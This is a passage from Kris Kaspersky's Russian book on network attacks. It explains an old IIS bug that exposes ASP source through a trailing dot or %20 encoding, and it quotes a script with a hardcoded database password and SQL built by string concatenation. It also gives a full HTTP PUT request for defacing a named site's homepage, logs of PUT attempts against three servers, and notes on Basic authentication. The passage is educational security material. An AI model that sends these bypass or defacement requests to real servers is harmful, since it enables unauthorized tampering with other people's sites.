Крис Касперский - ТЕХНИКА СЕТЕВЫХ АТАК
Например:
GET /Default.asp.
«% emailx=request.form("email")
remarkx=request.form("remark")
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Local SQL Server", "sa", "DTide"
Set RS = Conn.Execute("insert into Web_data.dbo.ASP_data(email,remark) values('" amp; emailx amp; "','" amp; remarkx amp; "')") %»
Your information has been added to our database.
Разработчики впопыхах дописали несколько наивных строк тривиально фильтра и поплатились за это. В суматохе никому и в голову не пришло, что тот же самый вызов можно записать и как - “GET /default.asp%20/”, то есть заменить символ точки ее шестнадцатеричным значением. И только что выпущенная заплатка оказалась бесполезной.
Отсюда мораль - не каждая попытка заткнуть дыру заканчивается успешно. Забудьте свою психологическую инерцию и тестируйте все возможные значения -от осмысленных до явно бредовых.
Врезка «замечание»
При правильной политике администрирования, ошибка в IIS никак не влияла на его работу. Достаточно было убрать права на чтение файла. К сожалению, в большинстве случаев такие права установлены, в надежде на грамотную защиту сервера, теоретически никогда не путающего содержимое скрипта с результатами его работы.
В качестве небольшого упражнения, можно запустить демонстрационный пример, расположенный по адресу http://lighning.prohosting.com/~/kpnc/cgi-bin/helo.pl Результат его работы показан на рисунке, приведенном ниже:
Рисунок 20 Демонстрация удаленного выполнения программы
Если заглянуть в исходный файл, прилагаемый к книге (“/SRC/Hello.pl”), бросается в глаза одна странность:
· #!/usr/local/bin/perl -w
· print "Content-type: text/htmlnn";
· print "Hello,Sailor!n";
Сервер «съел» одну строку (в листинге она выделена жирным шрифтом). Если же ее попытаться убрать, то выполнение скрипта прервется с сообщением об ошибке. Причины такого поведения подробно рассмотрены в дополнении «Протокол CGI».
В главе «Что можно сделать с помощью Perl» замечалось, что многие сервера неявно предоставляют возможность выполнения скриптов. Для этого достаточно поместить свой файл в директорию, с атрибутами “r w x - - x - - -x”, которая, как правило, называется «/BIN» или «/CGI-BIN». Иногда это можно сделать с помощью FTP (File Transfer Protocol, смотри главу «Протокол FTP» [258]), но в подавляющем большинстве случаев ftp-доступ закрыт (точнее, правильнее было бы сказать, не открыт).
Напротив же, метод PUT может быть не закрыт, что позволит с успехом им воспользоваться (в Internet все, что явно не запрещено - разрешено). Использование метода PUT требует явного заполнения некоторых полей, которые будет рассмотрены ниже.
При «заливке» файла на сервер в заголовке запроса обязательно наличие поля “Content-length”, равного длине закачиваемого файла в байтах, а так же “Accept”, указывающего в каком формате будут переданы данные. Необязательное поле “From” может содержать электронный адрес отправителя, а может и вовсе отсутствовать.
Методом PUT можно воспользоваться, для создания нового или замещения любого уже существующего файла на сервере, разумеется, при наличии надлежащих прав доступа. Например, чтобы оставить свое graffiti на главной страничке сайта http://lightning.prohosting.com/~kpnc [259] можно послать серверу следующий запрос:
· PUT /~kpnc/ HTTP/1.0
· Accept: texthtml
· From: [email protected]
· Content-type: text/html
· Content-length:220 [260]
·
· «BODY»
· Съел бобра - спас дерево!
· «HR»
· «H1»
· «CENTER»
· «IMG SRC="http://www.aport.ru/w_liven.gif"»
· Здесь был «A HREF="mailto: [email protected]"»Вася«/A»…
· «IMG SRC="http://www.aport.ru/w_liven.gif"»
· «/H1»
· «/BODY»
Если операция прошла успешно, главная страница в браузере Internet Explorer будет выглядеть так:
Рисунок 21 Так выглядит главная станица сервера после ее модификации
Это один из многочисленных способов, используемых злоумышленниками для модификации страничек плохо защищенных серверов в Internet. Такие в настоящее время необычайная редкость, тем не менее, приведенный ниже фрагмент убеждает, что они все-таки есть:
"И взбрело мне (по закрепившейся привычке) поглядеть степень защищенности и (самое главное) степень тупости админа. Для этого я стал юзать (что думаете???) свой любимый Нетскап 3.01 (Браузер Netscape Navigator поддерживает метод PUT, в отличие от Internet Explorer - К.К). Стал лазить по директориям и обнаружил очень странную для сегодняшнего дня вещь, а именно директории /scripts и /cgi-bin оказались открытыми"
«История о Забывчивости и Извращениях, или как маленький локальный Баг изменил ход дела» Story by DiGGertaL SpOOn (Оригинал статьи находится по адресу http://www.hackzone.ru/articles/idaho.html).
Дальше статья повествует, как наивный чукотский «вьюноша» манипулировал всеми «хакерскими» утилитами по очереди, ломясь в широко открытую дверь. Чтобы повторить его «подвиг» вовсе не обязательно устанавливать на своей машине Netscape Navigator. Можно воспользоваться, например, приложением «Microsoft Web Publishing», которое поддерживает закачку файлов на сервер по HTTP-протоколу всеми доступными способами:
Рисунок 22 Microsoft Web Publishing поддерживает метод POST необходимый для «заливки» документов на сервер
Однако чаще всего злоумышленнику под тем или иным предлогом в доступе будет отказано. Возможные мотивации - метод PUT запрещен; метод PUT разрешен, но нет прав записи в указанный файл (директорию); наконец, метод PUT разрешен, права записи есть, но требуется авторизация (ввод имени и пароля).
Ниже приведены протоколы трех последовательных попыток подключения к следующим серверам: http://kpnc.virtualave.net, http://dore.on.ru и http://195.161.42.222.
· PUT /index.html HTTP/1.0
·
· HTTP/1.1 405 Method Not Allowed
· Date: Sat, 15 Apr 2000 21:50:26 GMT
· Server: Apache/1.2.6
· Allow : GET, HEAD, OPTIONS, TRACE
· Connection: close
· Content-Type: text/html
·
· «HTML»
· «HEAD»
· «TITLE» 405 Method Not Allowed «/TITLE»
· «/HEAD»
· «BODY»
· «H1» Method Not Allowed «/H1»
· The requested method PUT is not allowed for the URL /index.html.«P»
· «/BODY»«/HTML»
· PUT /Index.html HTTP/1.0
·
· HTTP/1.1 403 Access Forbidden
· Server: Microsoft-IIS/4.0
· Date: Sat, 15 Apr 2000 22:04:25 GMT
· Content-Length: 495
· Content-Type: text/html
·
· «html»
· «head»
· «title»Error 403.3«/title»
· «/head»
· «body»
· «h2»HTTP Error 403«/h2»
· «p»«strong» 403.3 Forbidden: Write Access Forbidden «/strong»«/p»
· «p»This error can be caused if you attempt to upload to, or modify a file in, a
· directory that does not allow Write access.«/p»
· «p»Please contact the Web server's administrator if the problem persists.«/p»
· PUT /Index.htm HTTP/1.0
·
· HTTP/1.1 401 Access Denied
· WWW-Authenticate: NTLM
· WWW-Authenticate: Basic realm="195.161.42.222"
· Content-Length: 644
· Content-Type: text/html
·
· «html»
· «head»
· «title»Error 401.2«/title»
· «body»
· «h2»HTTP Error 401«/h2»
· «p»«strong»401.2 Unauthorized: Logon Faile d due to server configuration«/strong»
· «p»This error indicates that the credentials passed to the server do not match the
· credentials required to log on to the server. This is usually caused by not s
· ending the proper WWW-Authenticate header field.«/p»
· «p»Please contact the Web server's administrator to verify that you have permiss
· ion to access to requested resource.«/p»
Первые два случая говорят о правильной конфигурации сервера (с точки зрения политики безопасности), но факт авторизации сам по себе еще не свидетельствует о защищенности (быть может, используется простой пароль, наподобие «guest»).
Механизмы аутентификации HTTP-серверов довольно многочисленны, поэтому ниже будет описан лишь один, наиболее распространенный, из них. Всю остальную информацию можно почерпнуть из технической документации RFC-2068 и RFC-2069.
Начиная со спецификации HTTP 1.0, код ошибки “401” зарезервирован за «Access Denied, need authenticate [261]». Именно его возвратил сервер в последнем примере. Ниже заголовок ответа сервера приводится еще раз:
· HTTP/1.1 401 Access Denied
· WWW-Authenticate: Basic realm=" 195.161.42.222 "
· Content-Length: 644
· Content-Type: text/html
Выделенная жирным шрифтом строка «Basic» указывает на требуемый метод аутентификации, а “realm” содержит имя области аутентификации. На сервере может существовать несколько независимых друг от друга зон, каждая со своей схемой доступа. В приведенном случае, очевидно, единственная область аутентификации распространяется на весь сервер.
Чтобы получить доступ к любому ресурсу, расположенному на 195.161.42.222, необходимо сообщить имя пользователя и пароль, задаваемые полем “Authorization” в заголовке запроса, и закодированные согласно правилам выбранного метода аутентификации.
В простейшем случае, когда не требуется прибегать к серьезным защитным механизмам, используют метод basic, передающий открытый, незашифрованный пароль в кодировке base64. При использовании клиентом метода basic появляется возможность «подглядывания» пароля злоумышленником, сумевшим перехватить сетевой трафик [262]. Довольно часто администраторы игнорируют такую угрозу и разрешают метод based для доступа к критической к разглашению информации [263], что категорически не рекомендуется в RFC-2068.